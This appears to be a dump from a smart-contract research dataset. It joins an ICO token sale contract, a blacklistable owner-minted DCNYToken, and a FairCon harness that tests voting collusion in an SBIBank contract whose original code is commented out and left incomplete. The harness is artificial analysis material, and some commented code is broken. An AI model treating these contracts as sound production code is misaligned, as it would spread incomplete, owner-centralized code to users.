175000000000000000000000000 , // Stage 10 175000000 * 10**18
185000000000000000000000000 , // Stage 11 185000000 * 10**18
195000000000000000000000000 , // Stage 12 195000000 * 10**18
205000000000000000000000000 , // Stage 13 205000000 * 10**18
215000000000000000000000000 , // Stage 14 215000000 * 10**18
225000000000000000000000000 , // Stage 15 225000000 * 10**18
235000000000000000000000000 , // Stage 16 235000000 * 10**18
245000000000000000000000000 , // Stage 17 245000000 * 10**18
255000000000000000000000000 , // Stage 18 255000000 * 10**18
265000000000000000000000000 , // Stage 19 265000000 * 10**18
275000000000000000000000000 , // Stage 20 275000000 * 10**18
285000000000000000000000000 , // Stage 21 285000000 * 10**18
295000000000000000000000000 , // Stage 22 295000000 * 10**18
305000000000000000000000000 , // Stage 23 305000000 * 10**18
315000000000000000000000000 , // Stage 24 315000000 * 10**18
325000000000000000000000000 // Stage 25 325000000 * 10**18
];
/// tokens rate for each round
uint8[25] private stageRates = [15, 16, 17, 18, 19, 21, 22, 23, 24, 25, 27,
28, 29, 30, 31, 33, 34, 35, 36, 37, 40, 41, 42, 43, 44];
uint64 private constant dateTeamTokensLockedTill = 1630443600;
bool public tokenSaleClosed = false;
address public timelockContractAddress;
function isPreSalePeriod() public constant returns (bool) {
if(totalSupply > preSaleCap || now >= datePreSaleEnd) {
return false;
} else {
return now > datePreSaleStart;
}
}
function isICOPeriod() public constant returns (bool) {
if (totalSupply > TOKENS_SALE_HARD_CAP || now >= dateSaleEnd){
return false;
} else {
return now > dateSaleStart;
}
}
modifier inProgress {
require(totalSupply < TOKENS_SALE_HARD_CAP && !tokenSaleClosed && now >= datePreSaleStart);
_;
}
modifier beforeEnd {
require(!tokenSaleClosed);
_;
}
modifier canBeTraded {
require(tokenSaleClosed);
_;
}
function EntryToken() public {
/// generate private investor tokens
generateTokens(owner, 50000000000000000000000000); // 50000000 * 10**18
}
function () public payable inProgress {
if(isPreSalePeriod()){
buyPreSaleTokens(msg.sender);
} else if (isICOPeriod()){
buyTokens(msg.sender);
}
}
function buyPreSaleTokens(address _beneficiary) internal {
require(msg.value >= 0.01 ether);
uint256 tokens = getPreSaleTokenAmount(msg.value);
require(totalSupply.add(tokens) <= preSaleCap);
generateTokens(_beneficiary, tokens);
owner.transfer(address(this).balance);
}
function buyTokens(address _beneficiary) internal {
require(msg.value >= 0.01 ether);
uint256 tokens = getTokenAmount(msg.value);
require(totalSupply.add(tokens) <= TOKENS_SALE_HARD_CAP);
generateTokens(_beneficiary, tokens);
owner.transfer(address(this).balance);
}
function getPreSaleTokenAmount(uint256 weiAmount)internal pure returns (uint256) {
return weiAmount.mul(BASE_RATE);
}
function getTokenAmount(uint256 weiAmount) internal view returns (uint256 tokens) {
uint256 tokenBase = weiAmount.mul(BASE_RATE);
uint8 stageNumber = currentStageIndex();
tokens = getStageTokenAmount(tokenBase, stageNumber);
while(tokens.add(totalSupply) > stageCaps[stageNumber] && stageNumber < 24){
stageNumber++;
tokens = getStageTokenAmount(tokenBase, stageNumber);
}
}
function getStageTokenAmount(uint256 tokenBase, uint8 stageNumber)internal view returns (uint256) {
uint256 rate = 10000000000000000000/stageRates[stageNumber];
uint256 base = tokenBase/1000000000000000000;
return base.mul(rate);
}
function currentStageIndex() internal view returns (uint8 stageNumber) {
stageNumber = 0;
while(stageNumber < 24 && totalSupply > stageCaps[stageNumber]) {
stageNumber++;
}
}
function buyTokensOnInvestorBehalf(address _beneficiary, uint256 _tokens) public onlyOwner beforeEnd {
generateTokens(_beneficiary, _tokens);
}
function buyTokensOnInvestorBehalfBatch(address[] _addresses, uint256[] _tokens) public onlyOwner beforeEnd {
require(_addresses.length == _tokens.length);
require(_addresses.length <= 100);
for (uint256 i = 0; i < _tokens.length; i = i.add(1)) {
generateTokens(_addresses[i], _tokens[i]);
}
}
function generateTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
totalSupply = totalSupply.add(_tokens);
balances[_beneficiary] = balances[_beneficiary].add(_tokens);
emit Transfer(address(0), _beneficiary, _tokens);
}
function close() public onlyOwner beforeEnd {
/// team tokens are equal to 20% of tokens
uint256 lockedTokens = 118000000000000000000000000; // 118 000 000 * 10**18
// partner tokens for advisors, bouties, SCO 25% of tokens
uint256 partnerTokens = 147000000000000000000000000; // 147 000 0000 * 10**18
// unsold tokens
uint256 unsoldTokens = TOKENS_SALE_HARD_CAP.sub(totalSupply);
generateLockedTokens(lockedTokens);
generatePartnerTokens(partnerTokens);
generateUnsoldTokens(unsoldTokens);
totalSupply = totalSupply.add(lockedTokens+partnerTokens+unsoldTokens);
tokenSaleClosed = true;
owner.transfer(address(this).balance);
}
function generateLockedTokens(uint lockedTokens) internal{
TokenTimelock lockedTeamTokens = new TokenTimelock(this, owner, dateTeamTokensLockedTill);
timelockContractAddress = address(lockedTeamTokens);
balances[timelockContractAddress] = balances[timelockContractAddress].add(lockedTokens);
emit Transfer(address(0), timelockContractAddress, lockedTokens);
}
function generatePartnerTokens(uint partnerTokens) internal{
balances[owner] = balances[owner].add(partnerTokens);
emit Transfer(address(0), owner, partnerTokens);
}
function generateUnsoldTokens(uint unsoldTokens) internal{
balances[owner] = balances[owner].add(unsoldTokens);
emit Transfer(address(0), owner, unsoldTokens);
}
function transferFrom(address _from, address _to, uint256 _value) public canBeTraded returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public canBeTraded returns (bool) {
return super.transfer(_to, _value);
}
}
| 191,275 | 12,286 |
f5fcc84e01e00a84de217b1d0f711ceab1b4b9755df073c64353cc306d91dc98
| 14,312 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/9121_8122_0x5ac25534c0d422fff109a76bc4bad07b67f7d5b1.sol
| 2,742 | 11,003 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract DCNYToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
function DCNYToken() public {
decimals = 6;
_totalSupply = 10*10000*10000*(10 ** uint256(decimals));
name = "D-Globe Ecosystem CNY";
symbol = "DCNY";
balances[owner] = _totalSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 229,887 | 12,287 |
b3dc4cbaa5623e253b6b8db7663375360ed733f993dfda6c25b63d5acbd18393
| 24,348 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/dataset-fse2020-log/voting-R/collusion/SBIBank-0x28aC77611bf3ae7B776AC7ecd79119D3C161574D.sol
| 5,550 | 19,292 |
pragma solidity >=0.4.18;
// contract CrowdsaleParameters {
// ///////////////////////////////////////////////////////////////////////////
// // Production Config
// ///////////////////////////////////////////////////////////////////////////
// // ICO period timestamps:
// // 1524182400 = April 20, 2018.
// // 1529452800 = June 20, 2018.
// uint256 public constant generalSaleStartDate = 1524182400;
// uint256 public constant generalSaleEndDate = 1529452800;
// ///////////////////////////////////////////////////////////////////////////
// // QA Config
// ///////////////////////////////////////////////////////////////////////////
// ///////////////////////////////////////////////////////////////////////////
// // Configuration Independent Parameters
// ///////////////////////////////////////////////////////////////////////////
// struct AddressTokenAllocation {
// address addr;
// uint256 amount;
// }
// }
// contract Owned {
// address public owner;
// event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
//
// function Owned() public {
// owner = msg.sender;
// }
// modifier onlyOwner() {
// require(msg.sender == owner);
// _;
// }
//
// function changeOwner(address newOwner) onlyOwner public {
// require(newOwner != address(0));
// require(newOwner != owner);
// OwnershipTransferred(owner, newOwner);
// owner = newOwner;
// }
// }
// library SafeMath {
//
// function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// if (a == 0) {
// return 0;
// }
// uint256 c = a * b;
// assert(c / a == b);
// return c;
// }
//
// function div(uint256 a, uint256 b) internal pure returns (uint256) {
// // assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// // assert(a == b * c + a % b); // There is no case in which this doesn't hold
// return c;
// }
//
// function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b <= a);
// return a - b;
// }
//
// function add(uint256 a, uint256 b) internal pure returns (uint256) {
// uint256 c = a + b;
// assert(c >= a);
// return c;
// }
// }
// contract SBIToken is Owned, CrowdsaleParameters {
// using SafeMath for uint256;
//
// string public standard = 'ERC20/SBI';
// string public name = 'Subsoil Blockchain Investitions';
// string public symbol = 'SBI';
// uint8 public decimals = 18;
//
// mapping (address => uint256) private balances;
// mapping (address => mapping (address => uint256)) private allowed;
// mapping (address => mapping (address => bool)) private allowanceUsed;
//
// event Transfer(address indexed from, address indexed to, uint tokens);
// event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// event Issuance(uint256 _amount); // triggered when the total supply is increased
// event Destruction(uint256 _amount); // triggered when the total supply is decreased
// event NewSBIToken(address _token);
//
// uint256 public totalSupply = 0; // 40000000;
// bool public transfersEnabled = true;
//
// function SBIToken() public {
// owner = msg.sender;
// mintToken(generalSaleWallet);
// mintToken(bounty);
// mintToken(partners);
// mintToken(team);
// NewSBIToken(address(this));
// }
// modifier transfersAllowed {
// require(transfersEnabled);
// _;
// }
// modifier onlyPayloadSize(uint size) {
// assert(msg.data.length >= size + 4);
// _;
// }
//
// function approveCrowdsale(address _crowdsaleAddress) external onlyOwner {
// approveAllocation(generalSaleWallet, _crowdsaleAddress);
// }
// uint uintDecimals = decimals;
// uint exponent = 10**uintDecimals;
// uint amount = tokenAllocation.amount * exponent;
// allowed[tokenAllocation.addr][_crowdsaleAddress] = amount;
// Approval(tokenAllocation.addr, _crowdsaleAddress, amount);
// }
//
// function balanceOf(address _address) public constant returns (uint256 balance) {
// return balances[_address];
// }
//
// return allowed[_owner][_spender];
// }
//
// require(_to != address(0));
// require(_value <= balances[msg.sender]);
// balances[msg.sender] = balances[msg.sender].sub(_value);
// balances[_to] = balances[_to].add(_value);
// Transfer(msg.sender, _to, _value);
// return true;
// }
//
// function mintToken(AddressTokenAllocation tokenAllocation) internal {
// uint uintDecimals = decimals;
// uint exponent = 10**uintDecimals;
// uint mintedAmount = tokenAllocation.amount * exponent;
// // Mint happens right here: Balance becomes non-zero from zero
// balances[tokenAllocation.addr] += mintedAmount;
// totalSupply += mintedAmount;
// // Emit Issue and Transfer events
// Issuance(mintedAmount);
// Transfer(address(this), tokenAllocation.addr, mintedAmount);
// }
//
// require(_value == 0 || allowanceUsed[msg.sender][_spender] == false);
// allowed[msg.sender][_spender] = _value;
// allowanceUsed[msg.sender][_spender] = false;
// Approval(msg.sender, _spender, _value);
// return true;
// }
//
// require(_to != address(0));
// require(_value <= balances[_from]);
// require(_value <= allowed[_from][msg.sender]);
// balances[_from] = balances[_from].sub(_value);
// balances[_to] = balances[_to].add(_value);
// allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
// Transfer(_from, _to, _value);
// return true;
// }
//
// function() public {}
//
// function toggleTransfers(bool _enable) external onlyOwner {
// transfersEnabled = _enable;
// }
// }
//
// contract SBIBank is Owned, CrowdsaleParameters {
// using SafeMath for uint256;
// string public name = 'Subsoil Blockchain Investitions Bank';
// SBIToken private token;
// uint256 public currentVotingDate = 0;
// uint public currentVotingAmount = 0;
// uint public allowedWithdraw = 0;
// uint public allowedRefund = 0;
// uint256 public toAllow = 0;
// uint256 public toCancel = 0;
// uint256 public toRefund = 0;
// // result of a voiting
// uint8 result = 0;
// address sbiBank = this;
// // investors votes
// mapping(address => uint8) public votes;
// // investors votes dates
// mapping(address => uint256) public voteDates;
// // investors refunded amounts of voting
// mapping(address => uint256) public alreadyRefunded;
// event NewIncomingFunds(uint indexed amount, address indexed sender);
// event NewVoting(uint256 indexed date, uint indexed amount);
// event NewVote(address indexed voter, uint256 indexed date, uint8 indexed proposal);
// event CancelVote(uint256 indexed date, uint indexed amount);
// event AllowVote(uint256 indexed date, uint indexed amount);
// event RefundVote(uint256 indexed date, uint indexed amount);
// event Refund(uint256 indexed date, uint256 indexed amount, address indexed investor);
// event Withdraw(uint256 indexed date, uint indexed amount);
//
// function SBIBank(address _tokenAddress) public payable {
// token = SBIToken(_tokenAddress);
// }
//
// function addVoting(uint _amount) public onlyOwner {
// require(sbiBank.balance >= _amount);
// // can add only if previouse voiting closed
// require(currentVotingDate == 0 && currentVotingAmount == 0);
// currentVotingDate = now;
// currentVotingAmount = _amount;
// NewVoting(now, _amount);
// }
//
// function voteOf(address voter) public constant returns (uint8 vote) {
// return votes[voter];
// }
//
// function vote(uint8 proposal) public returns(uint8 prop) {
// require(token.balanceOf(msg.sender) > 0);
// require(now >= currentVotingDate && now <= currentVotingDate + 3 days);
// require(proposal == 1 || proposal == 2 || proposal == 3);
// // you can vote only once for current voiting
// require(voteDates[msg.sender] != currentVotingDate);
// alreadyRefunded[msg.sender] = 0;
// votes[msg.sender] = proposal;
// voteDates[msg.sender] = currentVotingDate;
// if(proposal == 1) {
// toAllow = toAllow + token.balanceOf(msg.sender);
// }
// if(proposal == 2) {
// toCancel = toCancel + token.balanceOf(msg.sender);
// }
// if(proposal == 3) {
// toRefund = toRefund + token.balanceOf(msg.sender);
// }
// NewVote(msg.sender, now, proposal);
// return proposal;
// }
//
// function endVoting() public onlyOwner {
// require(currentVotingDate > 0 && now >= currentVotingDate + 3 days);
// if (toAllow > toCancel && toAllow > toRefund) {
// // toAllow withdraw
// AllowVote(currentVotingDate, toAllow);
// allowedWithdraw = currentVotingAmount;
// allowedRefund = 0;
// }
// if (toCancel > toAllow && toCancel > toRefund) {
// // toCancel voiting
// CancelVote(currentVotingDate, toCancel);
// allowedWithdraw = 0;
// allowedRefund = 0;
// }
// if (toRefund > toAllow && toRefund > toCancel) {
// // toCancel voiting
// RefundVote(currentVotingDate, toRefund);
// allowedRefund = currentVotingAmount;
// allowedWithdraw = 0;
// }
// currentVotingDate = 0;
// currentVotingAmount = 0;
// toAllow = 0;
// toCancel = 0;
// toRefund = 0;
// }
//
// function withdraw() public onlyOwner {
// require(currentVotingDate == 0);
// require(allowedWithdraw > 0);
// owner.transfer(allowedWithdraw);
// Withdraw(now, allowedWithdraw);
// allowedWithdraw = 0;
// }
//
// function refund() public {
// require(allowedRefund > 0);
// // allows refund only once thrue the voiting
// require(alreadyRefunded[msg.sender] == 0);
// require(token.balanceOf(msg.sender) > 0);
// // total supply tokens is 40 000 000
// uint256 tokensPercent = token.balanceOf(msg.sender).div(40000000).div(1000000000000000);
// uint256 refundedAmount = tokensPercent.mul(sbiBank.balance).div(1000);
// address sender = msg.sender;
// alreadyRefunded[msg.sender] = refundedAmount;
// token.transferFrom(msg.sender, featureDevelopment.addr, token.balanceOf(msg.sender));
// sender.transfer(refundedAmount);
// Refund(now, refundedAmount, msg.sender);
// }
//
// function () external payable {
// NewIncomingFunds(msg.value, msg.sender);
// }
// }
contract Rewrite{
uint[] voteCount;
struct Proposal{
bytes32 name;
}
Proposal[] proposals;
mapping(address=>uint) voteDates;
mapping(address=>uint) votes;
mapping(address=>uint) alreadyRefunded;
uint currentVotingDate;
uint currentVotingAmount;
uint allowedWithdraw;
uint allowedRefund;
uint toAllow;
uint toCancel;
uint toRefund;
uint _winner;
function newProposal(uint numOfProposal) public {
proposals.length = numOfProposal;
}
function vote(address msg_sender, uint proposal) public returns(uint prop) {
require(proposal == 1 || proposal == 2 || proposal == 3);
// you can vote only once for current voiting
require(voteDates[msg_sender] != currentVotingDate);
alreadyRefunded[msg_sender] = 0;
votes[msg_sender] = proposal;
voteDates[msg_sender] = currentVotingDate;
if(proposal == 1) {
toAllow = toAllow + 1;
}
if(proposal == 2) {
toCancel = toCancel + 1;
}
if(proposal == 3) {
toRefund = toRefund + 1;
}
return proposal;
}
function endVoting() public {
if (toAllow > toCancel && toAllow > toRefund) {
// toAllow withdraw
allowedWithdraw = currentVotingAmount;
allowedRefund = 0;
_winner = 1;
}
if (toCancel > toAllow && toCancel > toRefund) {
// toCancel voiting
allowedWithdraw = 0;
allowedRefund = 0;
_winner = 2;
}
if (toRefund > toAllow && toRefund > toCancel) {
// toCancel voiting
allowedRefund = currentVotingAmount;
allowedWithdraw = 0;
_winner = 3;
}
currentVotingDate = 0;
currentVotingAmount = 0;
toAllow = 0;
toCancel = 0;
toRefund = 0;
}
function getWinner() public returns (uint winnerName){
return _winner;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
function sse_winner(address a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint a, uint b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, uint p1, uint p1_value, uint p1_rv_value, uint msg_value1,
address payable msg_sender2, uint p2, uint p2_value, uint p2_rv_value, uint msg_value2,
address payable msg_sender3, uint p3, uint p3_value, uint p3_rv_value, uint msg_value3,
address payable msg_sender4, uint p4, uint p4_value, uint p4_rv_value, uint msg_value4,
address payable msg_sender5, uint p5, uint p5_value, uint p5_rv_value, uint msg_value5) public {
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(!(msg_sender1==msg_sender4 || msg_sender2 == msg_sender4 || msg_sender3 == msg_sender4));
require(!(msg_sender1==msg_sender5 || msg_sender2 == msg_sender5 || msg_sender3 == msg_sender5));
require(!(msg_sender4==msg_sender5));
require(p1_value > p1_rv_value && p1_rv_value > 0);
require(p2_value > p2_rv_value && p2_rv_value > 0);
require(p3_value > p3_rv_value && p3_rv_value > 0);
require(p4_value > p4_rv_value && p4_rv_value > 0);
require(p5_value > p5_rv_value && p5_rv_value > 0);
require(p1 == 1 || p1 == 2 || p1 == 3);
require(p2 == 1 || p2 == 2 || p2 == 3);
require(p3 == 1 || p3 == 2 || p3 == 3);
require(p4 == 1 || p4 == 2 || p4 == 3);
require(p5 == 1 || p5 == 2 || p5 == 3);
require(msg_value1 == 1 || msg_value1 == 2 || msg_value1 == 3);
require(msg_value2 == 1 || msg_value2 == 2 || msg_value2 == 3);
require(msg_value3 == 1 || msg_value3 == 2 || msg_value3 == 3);
require(msg_value4 == 1 || msg_value4 == 2 || msg_value4 == 3);
require(msg_value5 == 1 || msg_value5 == 2 || msg_value5 == 3);
require(votes[msg_sender1] == 0);
require(votes[msg_sender5] == 0);
require(votes[msg_sender2] == 0);
require(votes[msg_sender3] == 0);
require(votes[msg_sender4] == 0);
require(voteDates[msg_sender1] == 0);
require(voteDates[msg_sender2] == 0);
require(voteDates[msg_sender3] == 0);
require(voteDates[msg_sender4] == 0);
require(voteDates[msg_sender5] == 0);
require(alreadyRefunded[msg_sender1] == 0);
require(alreadyRefunded[msg_sender2] == 0);
require(alreadyRefunded[msg_sender3] == 0);
require(alreadyRefunded[msg_sender4] == 0);
require(alreadyRefunded[msg_sender5] == 0);
require(currentVotingDate==100);
// require(currentVotingAmount==0);//slack variable
require(toAllow==0&&
toCancel==0&&
toRefund==0);
// new proposal first
uint winner;
require(winner==0);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
// require(msg_value1!=p1);
// require(msg_value2==p2);
require(msg_value3==p3);
require(msg_value4==p4);
require(msg_value5==p5);
// new proposal first
newProposal(2);
// votes
vote(msg_sender1, msg_value1);
vote(msg_sender2, msg_value2);
vote(msg_sender3, msg_value3);
vote(msg_sender4, msg_value4);
vote(msg_sender5, msg_value5);
//execute Proposal
endVoting();
winner = getWinner();
if (winner == msg_value1){
if (msg_value1 == p1){
utilities[msg_sender1] = p1_value;
}else{
utilities[msg_sender1] = p1_rv_value;
}
}
if (winner == msg_value2){
if (msg_value2 == p2){
utilities[msg_sender2] = p2_value;
}else{
utilities[msg_sender2] = p2_rv_value;
}
}
if (winner == msg_value3){
if (msg_value3 == p3){
utilities[msg_sender3] = p3_value;
}else{
utilities[msg_sender3] = p3_rv_value;
}
}
if (winner == msg_value4){
if (msg_value4 == p4){
utilities[msg_sender4] = p4_value;
}else{
utilities[msg_sender4] = p4_rv_value;
}
}
if (winner == msg_value5){
if (msg_value5 == p5){
utilities[msg_sender5] = p5_value;
}else{
utilities[msg_sender5] = p5_rv_value;
}
}
sse_utility(utilities[msg_sender1]);
sse_utility(utilities[msg_sender2]);
sse_utility(utilities[msg_sender3]);
sse_utility(utilities[msg_sender4]);
sse_utility(utilities[msg_sender5]);
sse_collusion_violate_check(utilities[msg_sender1], msg_value1, p1, msg_value2, p2);
}
}
| 242,253 | 12,288 |
fbfdfd8dc6cd3b9be7a72db6793998a4d2540c8d4b15c4d791910b42ad28b8a5
| 22,142 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/15/15b0C77d015Cb05c398c4640043f42bCcAF0bD23_AnyswapV3ERC20.sol
| 4,855 | 18,430 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
